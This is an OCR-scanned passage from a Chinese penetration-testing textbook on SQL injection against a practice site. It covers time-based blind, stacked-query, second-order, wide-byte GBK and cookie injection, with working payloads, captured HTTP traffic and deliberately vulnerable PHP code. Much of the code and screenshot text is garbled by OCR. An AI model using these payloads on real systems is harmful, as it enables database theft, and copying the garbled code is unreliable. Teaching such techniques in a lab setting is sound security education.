exit("<htm><body>no</body></html>”); 
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} 
$result = mysqli_query($con ,”select ＊手「om users where 、 id 、 ＝ ’” .$ id. ” ’”）；

$row = mysqli＿于etch_ar「ay （$「esult); 
if （$「ow) { 

exit (”< htm><body>yes</body></html>"); 
}else{ 

exit (”< htm><body>no</body></html>”) ; 
} 
?>

此处仍然可以用Boolean盲注或其他注入方法，下面用时间注入演示。当访问id= l'

and if( ord(substring(user(), 1, 1))=114,sleep（匀，1)%23时，执行的SQL语句为：

select * from use「S where 、 id 、＝’ 1 ’ and if(o「d(substr、ing(user、（）， 1, 1) )=114, sleep 
(3),1)%23 

由于user（）为root, root第一个字符γ的ASCII值是114，所以SQL语句中if条件成立，

执行sleep（匀，页面会延迟3s，通过这种延迟即可判断SQU吾句的执行结果。

4.2.3 堆叠查询注入攻击

堆叠查询注入攻击的测试地址： http://www.ccctf.cn/dd.php?id=l 。

堆叠查询可以执行多条语句，多语句之间以分号隔开。堆叠查询注入就是利用

这个特点，在第二个SQL语句中构造自己要执行的语句。首先访问id=l’，页面返回

MySQL错误，再访问id=l ’%23，页面返回正常结果。这里可以使用Boolean注入、时

间注入，也可以使用另外一种注入方式一一堆叠注入。

堆叠注入的语句为：

’ i select if(subst「（ use「（）， 1,1)= ' r' ,sleep(3),1)%23 

从堆叠注入语句中可以看到，第二条SQL语句（ select if(substr(user(),1,1) 

＝’r’，sleep（匀， 1)%23 ）就是时间盲注的语句，执行结果如图4-3 8所示。
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C雷”•ql ，。d phpUd .. 1 1••lec‘ •ll1•uHu1u••r11 l l) • ' r •h•p(J) 1>"'
酬，，， , 
-1.tWWWCCC1.fCll 
lll•r －崎... E 阳21114,, 0 川acint.01h1 Jnt•l ”“。＆ X 10 12 : n·1!.l Cl 
Geck。，20100101 PJ.U fo桨，，＇·＇

阳”’髦’‘•xt/b‘•l,•ppll«也ion／事ht•l•提ol,oppl!m 息。.，，且..，，，.， ＿ ，， . ，.，..， .
.....龟，M吨111991 &h-C:N ，由1q•O,l,en－皿＂＂。.S,1n:q•OJ
Aec1pt:-Erieod.ll碍， 9::ip, ~flue 
阳胁，

c。民·~＂··· ._ .... ," 
惘E由•111.11..,IU'I 句’·~·t.••1

rn•ll 1 200 ” 
DH.If t'ri, 22 D9c 20口 Ohl91ot CMT 
C.r••r• 元，.eh
X-Pover...:1-•r • tKt/5 .‘·" 
Com:•nt-IA叫出， ，
’‘Hp-A立iVl l 也1-out•S, 111ax~100 
Cooomlono "••·•1l•• 
cont.a←町....副t./ht:al cbatllt.•DTP-1 

阳山曲

巴巴巴曰川....... '-""'' I 曰曰OE!J 川
。”唱

图4-38 利用堆叠注入获取数据

后面获取数据的操作与时间注入的一样，通过构造不同的时间注入语句，可以

得到完整的数据库的库名 、 表名、字段名和具体数据。 执行以下语句，就可以获取

数据库的表名 。

';select if(subst「（（ select table_name from info「mation_schema.tables whe「e

table_schema=database() limit 0, 1), 1, 1)=' e ’, sleep(3),1)%23 

结果如图4-39所示。
帽

，呵υdd php’“•U';11ltct•if( ·山川（ 111-ct ＋也..，.＿.＿巾。...., ........ _ 
••h…·‘11bl••φvb.ereφ＇＂＂＇－＂h••--'"'""' !'li•i，也＋ O lJ l,l)•o' .i .. p{l) 
＂川2llt'l'TP/l 1 
阳’巳 1 vwv.ecct.f en 
u .. r-A~nt a ”。•ill•I> ＇＇比.aeinto1h1 Intel Mac 。S 葛 10121 rv1s3.0) 
Geck。，20100lOtPiuf。薯，＂。
Accept• 
<U龟，ht•l applica雹l。nfxbtshnl appllca，且iOD/X11l1q-0.9,•/ • 1q•O I 
Aε~，怎－Lantu•i•• &b『c>1,:d1•q•O.I •罚，，s q….... , ... ,' 
~睛’‘－~副呵， 91 ip. d•tl•t• 
cooki•• id•1r :fBPSl::i:n~l••4ll5ta7Jfc4bl06•albdlfH’”” 
Deck岛。........,,,,.,., .. , , .............. _ ..川ds-Gc1ctfb0.7l2Sll•
c。nn•ct!on• k••P·•liv• ,,,,.,. .... ~ ...........‘"' 

蓄而，丁叮丁τ丁>.-c面
Data1Pri, 22 ’•1; 201，。‘tH1l6 c;:后，
&•rv•r A阳M

’‘－阳sred-B’””’， 6)1)
Content-IA呻由，。’‘••>-•li.., •-m·•· m-ioo 
臼nnection，阳•P·A1J.••
, ....... ,,. ...... lh剧，........啃川

白白GJ[!] l川ow<> • 时 i 白白白白…
图4-39 利用堆叠注入获取表名

I• 
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4.2.4 堆叠查询注入代码分析

在堆叠注入页面中， 程序获取GET参数ID，使用PDO的方式进行数据查询，但

仍然将参数ID拼接到查询语句 ， 导致PDO没起到预编译的效果，程序仍然存在SQL
注入漏洞，代码如下所示。

<?php 
try { 

$conn = new PDO("mysql:host=localhost;dbname=test ＂，”「oot ”，“123456 ”） ; 

$conn- >setAttribute ( PDO: : ATTR_ERRMODE, PDO: : ERRMODE_EXCEPTION); 

$stmt = $conn- >que「y （” SELECT * FRO问 use「S whe「E 、 id 、 ＝’” . $_GET [’ id ’ l . "'”); 

$「esult = $stmt- >setFetchMode(PDO : :FETCH_ASSOC); 

fo「each($stmt- >fetchAll() as $k=>$v) { 
for、each ($v as $key => $value) { 

echo $value; 

$dsn = null; 

catch(PDOException $e) 

{ 
echo ” e「「O「”；

$conn = null; 

?>

使用PDO执行SQL语句时， 可以执行多语句，不过这样通常不能直接得到注入结

果 ， 因为PDO只会返回第一条SQL语句执行的结果，所以在第二条语句中可以用

update更新数据或者使用时间盲注获取数据。 访问dd.php?id= I ';select if( ord(substring 

(user(), 1, 1))= 114,sleep（匀， 1 ）纠23时，执行的SQL语句为：

SELECT * FROM use「s wher、巴 、 id ‘ ＝’ 1 ’； select if(o「d(subst「ing(use「（）， 1,1))=114, sleep

(3),1);# 

此时SQL语句分为了两条， 第一条SELECT * FROM users where 、 id、 ＝’ 1 ’是代码

自 己的select查询，而select if( ord( substring( user() , 1, 1) )= 114,sleep（匀， 1 ）；＃则是我们构造

的时间盲注的语句 。
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4.2.5 二次注入攻击

I J ＇－－ 飞
1...--..--1 
I • • I 

… 

二 次注入攻击的测试地址： http://www.ccctf.cn/er/1. php?usemame=test 和

http://www.ccctf.cn/er/ 2 .php?id=lO。其中， l.php页面的功能是注册用户名，也是插入

SQL语句的地方： 2.php页面的功能是通过参数ID读取用户名和用户信息。

第一步，访问 1.php?usemame=test『，如图4-40所示。
GET /er/1.php7userneme嚣：est HTTP/l l 
n。＆ to www.ccctf.cn 
User-Agan 巳＇ Mozllla/5 0 (Mac车nt。sh ; Intel Mac 。s x 
10.12; rvo53 . 0) Gecko/20100101 Fire£。x/53 0 
Accept• 
tex，巳／html, applicat二A。n/xhtml+xml, applicati。n/xml; q•O . 9 ," ／禽
;q•O 8 
Accept-Language' zh-CN, zh; q•O . 8, en-us; q’匾。 .5,en;q•0 .3
Accept-Enc。ding ' gzip, deflate 
Referert http //www ccctf.cn/er/ 
c。nnecti。n ' keep-alive 
Upgrade-Insecure-Requests' 1 

图4-40 注册用户名test'

!. w 日TTP71丁l2ifO OK 
Date · Wed, 06 Dec 2017 09 , 10 • 22 GMT 
Serve"' Apache 
X-P。wered-By• PHP/5.6 . 30 
c。ntent-Leng乞h ' 14 
Keep-Alive' time。ut-5, max•lOO 
c。nnect.1.。n Keep-Alive 
c。ntent-Type• <ext/html; charset•UTF-8 

到 id 为. 21 

从页面返回结果可以看到用户名test’对应的ID为21 ，访问2 .php?id=21 ，结果如图

4-41所示。
GET 1er1' .pnp110’ '1 H'TP!l:l 
H。et: www.ccctf.cn 
U•er-Ag•nt · Mo＇豆lla/5,0 (Hacint。 •h, Intel Hae OS X 
10 12; r.,53 0) Geck。／20100101 Fir•f。x/53.0
Accept' 
text/html, applicati。n /xh<ml+xml , applic ati。n/xml,q-0 . ’ ，＊／·
,q-o s 
Accop毡，Language ' zh-CN, zh; q•。. B ,an-US;q”。 .5,an;q•O 3 
Accept-Encoding • gzip, deflate 
Rofer•r. ht也P' //w~.cccd ,en/or/ 
c。nnect止。＂ ＇ keep-alive 
Upqrado-In•ecure-Roqu .. u 1 

图4-41 访问test’的信息

• E 言去T季7l丁了丁百百。K
Date. Wed, 06 Dac 2017 00•12'11 GMT 
Serven Apache 
】＜ － P。wared By · PHPI 5. 6 3 O 
c。ntent-Longth' 153 
Keep-Aliv" time。ut•S, max • lOO 
c。nnecti。n Kaep-Alive 
c。ntent-Typo text/html; charaet•UTP-B 

宫。u have a n err。，r 且. y。ur SQL •Y•龟ax; chock the m息.nual
that c。rr.. p。od• to y。ur HySQL .. rver veru。0 歪。r the 
right •yotox t。 use near 'te疆龟 ’ at l立自－ 1 

从返回结果可以看到服务端返回了MySQL的错误 （多了一个单引号引起的语法

错误〉，这时回到第一步，先访问 l抖ip?usemame=test’ order by 1 %23，获取一个新的

id=32，当再次访问2.php?id=32时，页面返回空白；再次尝试，访问 1.php?usemame=test’

order by 10%23 ， 获取一个新的id=33 ， 当再访问2.php?id=33时，页面返回错误信息

(Unknown column '10’ in ’order clause’ ）， 如图4-42所示。这说明空白页面就是正常返

回，通过不断的尝试，笔者判断出数据库表中一共有3个字段。 访问 l .php?usemame 

=test’ union select 1 ,2,3%23 ， 获取一个新id=39，再访问2.php?id=39 ， 发现页面返回了

union select中的2和3宇段， 结果如图4-43所示。
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GET /er/2 . php7id•33 日TTP/1.1

日。st : www.ccctf.co 
User-Agent ：”。zill•/5. 0 (Mac int。sh; Intel M•c 。s x 
10.12; rv.53.0) Geck。／20 100101 Firef。x/53. o 
Accept. 
text/html, •pplic•ti。 n/xhtml+xml, opplicoti。n/xml;q•0 . 9,•/•
;q•O. 8 
Accept-Language : zh-CN, zh ; q •O . 8 ,en-US ; q•O. 5 , en;q•O. 3 
Accept-Enc。ding • gzip, defl•t• 
Refere" http: //www . ccctf.cn/er/ 
c。nnecti。n: keep- olive 
upgrade四Insecure-Requeste: 1 

G二 ， HTTPlI丁l 00 OK 
Dote: Wed, 06 Dec 2017 09:23:56 GMT 
Server : Apache 
X-P。wared-By: PHP/5. 6 . 30 
c。ntent -Length: 37 
Keep-Alive: time。ut•S, mox•lOO 
c。nnecti。n: Keep-Alive 
c。ntent-Type: text/html; cborset•UTF- 8 

飞2且knowu c。lumn '10' in ’ 。rder clau se' 

图4-42 访问orde「 by 10的结果

GET /er/2.php?id•39 日TTP/l丁I
H。sto www . ccctf.cn 
User-Agent M。zill• /5 .0 (Hacint。sh; Intel Mac 。s x 
10 12; rv:53 0) Geck。／ 20100101 Fire玄。x/5 3 . 0 
Accep℃ z 

text / html, applicati。n/xbtml+xml, applicati。n/xml,q•O 9, •/• 
;q•O. 8 
Accept-Lanquaqs • zh-CN , zh, q•O. 8 ,eo- US;q•O. 5,en;q-0 . 3 
Accept-Enc。diog: gzip, deflate 
Referer: http://,,.,,.ccctf.cn/er/ 
c。 nnecti。n : keep- alive 
Upgrade-Insecure Rsqueats: l 

4 I HTTP 71:1"2"百0 OK 
Oats: Wed , 06 Dec 2017 09:30 43 GMT 
Server Apache 
X-P。we red-By: PHP 15 ' 6 . 3 0 
c。ntent-Leng乞h: 5 
Keep-Alive : timeout•S, mex•lOO 
connect！。n : Keep Alive 
c。ntent-Type : text/hτml; charset•UTF-B 

3 2 ‘4 1 

图4-43 使用 Unioni:吾旬的结果

在2或3的位置，插入我们的语句，比如访问 l .php?id=test’ union select 1,userO, 3%23, 

获得新的id=40 ， 再访问2.php?id=40，得到user（）的结果，如图4-44所示，使用此方法

就可以获取数据库中的数据。

GET /er/2. php7id•40 日TTP/l 1 
日。st : www.ccctf.cn 
User-Agent Mozilla/5. 0 (Mociot。sh ; Intel Mac 。s x 
10 . 12; rv:53.0) Gecko/20100101 Firef。哪153. 0 
Accep:: 
text/h乞ml, opplicotion/xhtml+xinl, applic ati。n/xml,q•O ，’，·／－
;q，。 . 8 
Accept-Longuaqe: zh-CN, zh;q•O . 8 ,en-US, q-0. 5 ,en ;q•O. 3 
Accept-Enc。diog: gzip, deflate 
Refersr: http : //www ccctf.cn/er I 
c。onecti。n: keep-olive 
Upgrade-Insecure- Requests : 1 

• I HTTPTf l 2lfO OK 
D凰te: Wed, 06 Dec 2017 09:33 : 27 GMT 
server. Apache 
X-P。we red-By : PHP 15. 6 , 3 O 
Content Length : 18 
Keep-Alive: time。ut•S, max•lOO 
Connecti。n : Keep-Alive 
Content田Type: text/html, charset•UTF-8 

r。。t@l。calh。st ' 3 

图4-44 利用二次注入获取数据

4.2.6 二次注入代码分析

二次注入中 1.php页面的代码如下所示， 实现了简单的用户注册功能，程序获取到

GET参数usemame和参数p出sword，然后将usemame和password拼接到SQL语句，使用

insert 语句插入数据库中。由于参数username使用addslashes进行转义（转义了单引号，

导致单引号无法闭合〉 ， 参数password进行了MD5哈希，所以此处不存在SQL注入漏

洞。

<? php 

$con ＝『『1ysqli_connect （” localhost ”，”「oot

I J ＇－－ 飞
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echo ”连接失败：”. mysqli_connect_e「「O「（）；

$use「name= $_GET['use「name'];

$password = $_GET ［’ passwo「d ' ] ; 
$「esult = mysqli que「y($con , "inse「t into use「s （ 、 use「name 、 2 、 passwo「d、） values 

（ ’” .addslashes($use「name ） . ”＇，＇” . md5($password ）.＂＇）”） ; 
echo ”新 id 为 ：＂ . mysqli_inser、t_id($con);

>

当访问usemame=t巳st’＆password=123456时，执行的SQL语句为

inse「t into use「s （ ‘ use「name ‘ 3 、 passwo「d 、） values (’ test \”, 
’ e10adc3949ba59abbe56e057f2θf883e ＇） 。

从图4-45中的数据库里可以看到，插入的用户名是test’ 。

username password email address 

i川 平Oadc39伽5灿e56e057f20f883e 1@1.c叫川3
test' ! e10adc3949ba59abbe56e057的饱83e

图4-45 插入到数据库中的数据

在二次注入中， 2.php中的代码如下所示，首先将GET参数ID转成int类型（防止

拼接到SQU吾句时，存在SQL注入漏洞），然后到users表中获取ID对应的usemame,

接着到person表中查询usemame对应的数据。

<?php 
$con=mysqli_connect （” localhost ＂，”「oot ”，” 123456”，”test");

if (mysqli_connect_e「「「10())

{ 
echo ”连接失败： ＂ . mysqli_connect_e「「O「（）；

} 
$id = intval($_GET [’ id ’]); 
$「esult = mysqli_querγ （ $con ，” select * fr、om users whe「E 、 id 、 ＝”. $id); 
$「OW ＝『『1ysqli_fetch_a「「ay （$「esult);

$user、name = $「ow ［’ use「name ’］；

$「esult2 = mysqli_quer、y($con,"select * f「O『『l person whe「e
、 use「name ‘ ＝’ ” .$use「name. ”’＂）；

if （$「ow2 = mysqli_fetch_a「「ay （$「esult2) ){ 
echo $「ow2 ［’ use 「name'] .”：”．$「ow2 ［’ money'];

I J ＇－－ 飞
I ..-- ..-- I 
I • • I 

… 



116 liJI> Web安全攻防 ： 渗透测试实战指南

}else{ 
echo mysqli_e「「O俨（ $con);

} 

但是此处没有对$usemame进行转义，在第一步中我们注册的用户名是test『，此时

执行的SQL语句为：

select ＊ 手「om pe「son where 、 use「name 、 ＝’ test ”

单引号被带入SQU吾句中，由于多了一个单引号，所以页面会报错。

4.2.7 宽字节注入攻击

宽字节注入攻击的测试地址： http://www.ccctf.cn/kzj抖1p?id=l 0 

访问id=l ＇， 页面的返回结果如图4-46所示，程序并没有报错，反而多了一个转义

符（反斜杠）。

面， ifi》..雨？“·＞T•ff>l>.f
”。H 1 www.c:cctof.cn 
。••i--Jli9•nt 魄。•UlofS o <••«o＜。•h1Int•lllacOl>X 1 0.12 』 rv 53 。，
Cecko/ 20100101 ii.re!ox / 5l ．。
Accept• 
t•11t / ht.al •pplic盹ion/xht•l叩立， •ppUc11.也：ionllml:q•O ’ ， • ／ ＇. q•OI

A<;:Cept-L&n9\l•Q•< ::h-C'll ，冒出，，.， a ’”-o:;,q•O 5,•n;q•O.l 

Accep•''" ''"'" ，，坤， d•fl•t•
c。nnecti。n c:lo ae 
Op9rade-Ineecure-Jteq11eat• 1 

• • "'" ' 1 "' " D•te, :l ＜！.龟， 02 Dec 201 7 U Sl10!l Cl'f1' 
Se~•r • 崎••h•
X-Po-red-&y: P圃’／S6l。
Connect:1.on1 cl。”
Content-Type川ext /ht•lf charset•01'i-1 
Conten1;-t..叫出 .. 

。”… Ou•ll></ f ont> ( l 

面 ＜br>Tll>• 9'1 • r7 S也...... '""'"···”‘”’...”.... ~·－ 1 ~＇＂＇’ 
， 。， l < bz:济 I I 

图4-46 单引号被转义

从返回的结果可以看出 ， 参数id=l在数据库查询时是被单引号包围的。当传入

id=l’时， 传入的单引号又被转义符（反斜线〉转义 ， 导致参数ID无法逃逸单引号的

包围， 所以在一般情况下，此处是不存在SQL注入漏洞的。不过有一个特例，就是当

数据库的编码为GBK时，可以使用宽宇节注入，宽宇节的格式是在地址后先加一

个%df， 再加单引号 ， 因为反斜杠的编码为%元，而在GBK编码中， %d。也Sc是繁体

字 “迪”，所以这时， 单寻｜ 号成功逃逸，报出MySQL数据库的错误，如图4-47所示。

••• l k•j php1id•l••• ＇ 日，，P/1 :-. 
”。st.: www ccctf en 
。••r-lv~en乞， ’吧。：：illa / 5 。（！＇！ttcin巳。，h; Incel Mac OS T. 10 12, r v : Sl OJ 
Ce cit。/201。。 101 iiref。x/ 53 。
llccept: ’, .. 飞／ htia忌， •OPlioo< 立。n/xh也..司，~l,•ppl‘Ce.ti。”’掠，z ~；p•0.9, • / •, q•O 8 

•••••' ""''""'" "-c”,"""' ···•-"••"' ""'""'·' Aeeept-Gnc。ding" ;::ip , d•f 卫...

c。”n•<:t i on el。．．
Op11r1‘de-tn••c:u~e-Jlequ•et• l 
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．
。

。
－

h
L

O
@
GYm

- 

0

··a

n 

2
h
h叩A
V
M
M

川
a
M
H
M
H

E,-
vazan 

-EZZ

’
nn 

-za

--

e
e 

aos

”ACe 

- .. 

＇＂’＇＂＇也－Typ•• t•xt/ ht.1111, char••t•O'tF 8 

＂、，……...。z a圃，ou r SQL •r11 也••I Cll • Ck ‘…•1111a l t.…s 
oorr•• po”..‘• r•• • •r••• • .,.., ••nio• ＂＇ 龟. . ＂•＇毡，，...“·”··
”“飞。γ • Ll旧，。，a ' •t l i 11 • 1 

图4-47 利用宽字节逃逸单引号的包围
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由于输入的参数id= l ’，导致SQL语句多了一个单引号， 所以需要使用注释符来注

释程序自身的单号｜ 号。访问id=1 %df'%23，页面返回的结果如图4-48所示 ， 可以看到，

SQL语句己经符合语法规范。

CE’ f弘τj php1豆＇＂且＂雪咱’‘ 2辜t ilTTP7 i. 
”。＂＇＇四w e目怠e e " 。 ，0< A9eoe ＇－。：：U la／毫。（ l'\ 'IC: if\t。•hi Intel ”ae 。5 ~ 10 121 rv:SJ o ’ 
C•c:k。／ 2010。JOl l"ir•f。x/ Sl 。
Acc:•pt : 
t•,U / h 巳•l,•pplmei。”／xhtllll+xnl,11.p叶，11eaeieo ／~1'q•O 9 ，• ／ • ，.－。 e
j>,c:c:•pt - Lal'lqullQ•• ::hαh . .... , ••••• ,,,.., •• • • ，..。.，
Ac:c•pt-EocodimO': q::ip, detl.Gte 
c。nnee也4。 ti: cl。.. 
0?9'•d•-'•ue•••-8•q,u<., l 

旬，TP/l l 2。。。民

Oat• ::at，。2 Dec 2017 151 。2 10 2 C'"r' 
,., .. ., Apache 
x－•酬ered-By1 PflP / 5 6 30 
Connection cl。”

c。nten巳－Type ""' "'"" eh°＇…巳•UTF -8
c。ntent-Le吨由z 引

＇＂衡’b ’“四•b </f。nt.>
吗口”• ... ,, """'" • '"""c雪－ ..叫 u•er s 1fR•lla id• lφ、 I ' LI旧雪
。， l <b<>

图4-48 利用注释符注释单引号

使用and l=l和and 1 =2进一步判断注入，访问id=1 %df' and 1= 1 %23和id=1 %df' and 

1 =2%23 ， 返回结果如图4-49和图4-50所示。

Cl:T 丽可丁丽面瓦面nu· +&n6+1•1i2J e’”’ 1 . 1 
Hoet· wvw ccctf .en 
oou-•9•nt ＇ ”。zilla/ 5 O （！吃fl.Cint。oh, I n<el 凹ae 06 X 10 12, rv•Sl.O J 
Ceck。/2010。 101 Fi.refox/ 53 0 
Accep皂 ’
’oexe / hC.l,applieaei。n /xht”主＋~l, opplicoeion ／挺•l,.•0.9, • / •,q•O 8 
Accape -L;凰...... :h哼C”，：h,q•O 8,en-DS,q•O.S,eo,9•D ] 
Accep’：－ Enc。d>n9· 9:ip, defla<e 
c。nnect止。n cl。．．
Op;<•d•-In oecv<• 8eqme" J 

日’TP /l l 200 01' 
Da te: ::at ，。2 。.. 2。 1 7 15 z 。4 40 G饵’
&e<vm Apoche 
X-Powered-!ly. P阁P / 5 6.30 
c。nnect a。n cl。．．
c。”<ene-rype e .. <t he回11 ctuu·eet• OTF-8 
c。ntent”1An9th 104 

Dumb D11•b•ε，z。＂＂’
< b r >Th• Q•••T ＇＂＇町 i• !:11.lAC'l' •，民。”“••I' • Wlllfl• i4• ' 1令、．．．
l•lf ' LI’‘2，。， l<br>

图4-49 访问id = 1%町’ and 1=1%23时页面的结果

CET /k'ij php7二－d-udf ' +e.nd+1• 2’ 23 81'TP / l l 
lto•t wwv ceett en 
。u•-A9ent. Mo: i lla/5. o ＜”ac int。•hi tntel l'!o.e 。0 X 10 12 , rvoSl D) 
Ci•ck。／ 20 10。 1 01 F'it"• （。x/ 53 Q 
•ccopc-
<nt / htNl,applicati。o / xhtol＋~l , appllcoti。.，~，， ..。，， 0 1 ~ 1q•0. 8 
Acco pt-L<n9va90' oh-CH,'"""' .8 ,on-us, q•O. 5, on"" '. l 
Accept-Enc。d109 9:ip, deflate 
Conn•eti。n clOltl 
DPO<ade-lnHCV<• ......毡， 1

”’TP / l l 200 。R
0•巴e: Ca毡， 02 Dec: 201 7 15•04 :56 G饵T
..τ飞’＇＂ Apacho 
X ·P。、，......,, ' "'"·'·" 
Conneet.:i.。＂·＇l。..
c。ntont -Typo to’‘龟，ht”ll c:hfl.r••t•OT F-8 
c。ntoot-Leo9<h 93 
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图4-50 访问id = 1%町’ and 1=2%23时页面的结果

当and l= l程序返回正常时· ， and 1 =2程序返回错误，所以判断该参数ID存在SQL

注入漏洞，接着使用order by查询数据库表的宇段数量，最后得知宇段数为3，如图4-5 1

所示。
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图4- 51 获取数据库表的字段数

因为页面直接显示了数据库中的内容，所以可以使用Union查询 。 与Union注入
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一样，此时的Union语句是union select 1 2 ,3，为了让页面返回Union查询的结果， 需

要把D的值改为负数，结果如图4-52所示。
百百元可币丽而Hd•- 1\df 吨nion"•• l •Cl'f"l,2，”n llHr/l l 
IOStl 町...毡’ “
。11r-1t.111nt1 ”。'l<i lla/ 5 0 (M• einto1t. 1 Xnt1l Mio o:; X l 。 121 'l"\>lSl 0) 
c ... 11.ono100101 Fir1tozl !U o 
1t.cc1pt • 
’也．，‘＂＇‘•l,1pp l ic a eion／霉，、毡，，.葛..，‘”lie • ~i。”’嚣，a1q•O,t .. / • 1q•Ot 
阳刚－t.n1111•11•• :.h-C11,:.l'l 1q:•川， 1n-oa1q•O ！ ，•川··．，
时•pt巾ood1n9：叫， deflat• 
Conn-tion: c:lo” 
’同r1de-Xn 1..,ur•－•呵’H ltl : 1 

2 : )<If。由毡’

‘..坤H ’”’...... .. ·~~·＂＂＇幌..........”“· · － ··＂ ..... 
...…且 1,2,SI ' LllU’'·'‘br> 

a -,-,p:/f-:-r ioo －。民
Oat11 Ga毡，旧 D.c2017 15叶213SCl':T

“凹·筐’ Ap1ch1
1t-Po-.-9d-ly1 PIP/5 6 )0 
臼nn..:tio•u elO•• 
Cont.,1t-’”•• t • n/ht•l1 ch町• •t•O,.r-1
Cont•nt-i..，、，由a '" 

图4-52 结合Union注入

然后尝试在页面中2的位置查询当前数据库的库名 （ database（） ），语句为：

id=-1%df ’ union select 1, user() , 3, %23 

返回的结果如图4-53所示。
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图4-53 获取database()

查询数据库的表名时， 一般使用以下语句。

select table_name f「om infor『nation_schema. tables whe「E table_schema='sql' limit 0,1 

但是此时，由于单引号被转义，会自动多出反斜杠，导致SQL语句出错，所以此

处需要利用另一种方法： 嵌套查询。就是在一个查询语句中，再添加一个查询语句，

下列就是更改后的查询数据库表名的语句。

select table_name 于rom infor『nation_schema. tables whe「E table_schema= (select databse ()) 
limit 0, 1 

可以看到，原本的table_schema=' sq I'变成了table_schema=( select database（）），因为

select database（）的结果就是＇sql ＇，这就是嵌套查询，结果如图4-54所示。
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图4-54 获取数据库的表名
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从返回结果可以看到，数据库的第一个表名是emails，如果想查询后面的表名，

还需修改limit后的数字，这里不再重复。 使用以下语句尝试查询emails表里的宇段。

select column_name f「om in于or『nation_schema . columns whe「e table schema=(select 
database()) and table_name=( select table_name 卡「om info「mation_schema.tables whe俨E

table_schema=(select databse()) limitθ， 1) limit 0 , 1 

这里使用了三层嵌套，第一层是table schema，它代表库名的嵌套，第二层和第

三层是table name的嵌套。 我们可以看到语句中有两个limit，前一个limit控制表名的顺

序，后一个则控制字段名的顺序。如这里查询的不是emails表， 而是users表，则需要

更改limit的值。如图4-55所示，后面的操作如lUnion注入所示，这里不再重复。
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图4-55 获取数据库字段名

4.2.8 宽字节注入代码分析

在宽字节注入页面中，程序获取GET参数ID，并对参数ID使用addslashes（）转义，

然后拼接到SQL语句中，进行查询，代码如下。

<?php 
$conn = mysql_connect （’ localhost ’ ，． 「oot ’， ' 123456 ’) or die (’ bad ! ’) ; 
mysql_select_db( 'test ’, $con n) OR emMsg （”数据库连接失败”） ; 
mysql_que「y（飞ET NAMES 'gbk' ",$conn); 

$id = addslashes($_GET [’ id ’]) ; 
$sql=”SELECT * FRO问 users WHERE id=’ $id ’ LIMIT 0,1 ” i 
$「esult = mysql_que「y($sql, $conn) or die(mysql_e「「O「（））；
$「ow = mysql_fetch_a「「ay （$「esult);
if （$「ow)

{ 
echo $「ow ［’ use「name ’］．··：” .$row['address'];

} 
else 

P「int_r(mysql_e「「O「（））；
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?>
</font> 
<?php 
echo " < b俨 ＞The Que「y St「ing is :“ . $sql . ” ＜ b 「〉 ” j

?>

当访问id= l ’时，执行的SQL语句为：

SELECT * FRO问 use「S WHERE id=' 1 \' ' 

可以看到单引号被转义符“＼＂转义，所以在一般情况下 ， 是无法注入的，但由

于在数据库查询前执行了SET NAMES ’GBK＇， 将编码设置为宽字节GBK，所以此处

存在宽字节注入漏洞。

在PHP中 ， 通过iconv（）进行编码转换时，也可能存在宽宇符注入漏洞。

4.2.9 cookie 注入攻击

cookie注入攻击测试地址： h句：／／www.ccctf.cn/cookie.php 。

发现URL中没有GET参数，但是页面返回正常，使用Burp Suite抓取数据包，发

现cookie中存在id= l 的参数，如图4-56所示。

GET /c。。kie php HTTP / 1. 1 
日。st : www . ccctf . cn 
user-Agent: M。zilla/5.0 (Macint。sh; Intel Mac OS X 
10.12; rv:53.0) Geck。／20100101 Firef。x / 53.0
Accept : 
text/html , applicati。n/ xhtml+xml, applicati。n /xml;qm 0 . 9 ， •／禽
;q-0.8 
Accept-Language : zh- CN, zh; q-0 8,en-us;qaO. 5 ,en;qaO. 3 
Accept-Enc。ding: gzip, deflate 
c。。kie: id=l 
c。nnecti。n : keep-alive 
Upgrade-Insecure-Requests: 1 

图4-56 cookie数据

「二 I HTTP/l . i 200 OR 
- Date: Fri , 15 Dec 2017 15 : 25 : 59 GMT 

Server: Apache 
X-P。wered-By : PHP/5 . 6. 30 
Set-C。。kie : id•l 
c。ntent-Length: 15 
Reep-Alive: time。ut=S, max•lOO 
c。nnecti。n: Reep-Alive 
c。ntent-Type: text/html; charset=UTP-8 

Dwnb ' Dwnb<br> 

修改cookie中的id=l为id=l＇，然后再次访问该URL，发现页面返回错误。接下来，

分别修改cookie中id=l为id=l and 1=1和id =1and1=2 ， 再次访问，判断该页面是否存

在SQL注入漏洞，返回结果如图4-57和图4-58所示 ， 得 l:t\cookie中的参数ID存在SQL

注入的结论。



GET 7豆面。fie . php HTTP/l. l 
日。st• www ccctf.cn 
Ose玄－Agent: M。zilla/S . 0 (Macint。sh: Intel Mac OS K 
10.12: r v : SJ . OJ Geck。／ 20100101 Firef。x/53. O 
Accept : 
text/html , applicat i。n/xhtml+xml, apphcati。n/xml : q•0 . 9,*/*

: q=O.B 
Accept-Language: zh- CN , zh ; q=O. B, en- US: q=O . 5, en:q=O. 3 
Accept-Encoding: gzip, defla乞＠
c。。kie: id•l+and+l•l 
c。nnecti。n : keep-ah ve 
。pgrade-Insecure-Requests : 1 

图4-57 访问id=l and 1=1的结果

GET 7c。。;J<la-:J再p HTTl?/1.1 
日。st: www. ccctf. cn 
user-Agent 1 M。zilla/5.0 (Macint。sh; Intel Mac as x 
10.12: rv:53.0J Geck。／20100 1 01 Firef。x/53. 0 
Accept: 
text /html , applicat立。n/xhtml+xml , applicati。n/xml;cpoO. 9, *I 禽
: q霄0. B 
Accept-Language : zh-CN, zh; q•O. B, en- US :q•O. 5, en; q•O. 3 
Accept - Encoding: gzip, deflate 
c。。kie: id=l+and+l • 2 
c。nnecti。” · keep- alive 
Upgrade-Insecure-Reques1二. : l 

图4-58 访问id=l and 1=2的结果
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~ i ~OK 
’回 Date. Fri, 15 Dec 2017 15 : 27:46 GMT 

server: Apache 
K-P。wered-By : PHP/5.6 . 30 
Set-C。。kie: id•l 
c。n乞ent-Length: 15 
Keep- Alive: time。ut•S, max•l OO 
c。nnecti。n : Keep- Alive 
c。ntent-Type: text/html: charset•UTF-B 

Dumb ' Dumb<br> 

‘ ’ HTTP/1.1 200 OK 
Date. Fri, 15 Dec 2017 15:29·32 GMT 
server: Apache 
X『p。wered-By: PHP/5.6 . 30 
Set-C。。kie. id•l 
c。n乞ent-Length: 7 
Keep-Alive• time。ut=5, max=lOO 
c。nnecti。n : Keep-Alive 
c。ntent-Type: text/html , charset回UTF-B

' <br> 

接着使用order by查询字段，使用Union注入方法完成此次注入。

4.2.10 cookie 注入代码分析

I J ＇－－ 飞
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… 

通过$ COOKIE能获取浏览器cookie中的数据，在cookie注入页面中程序通过

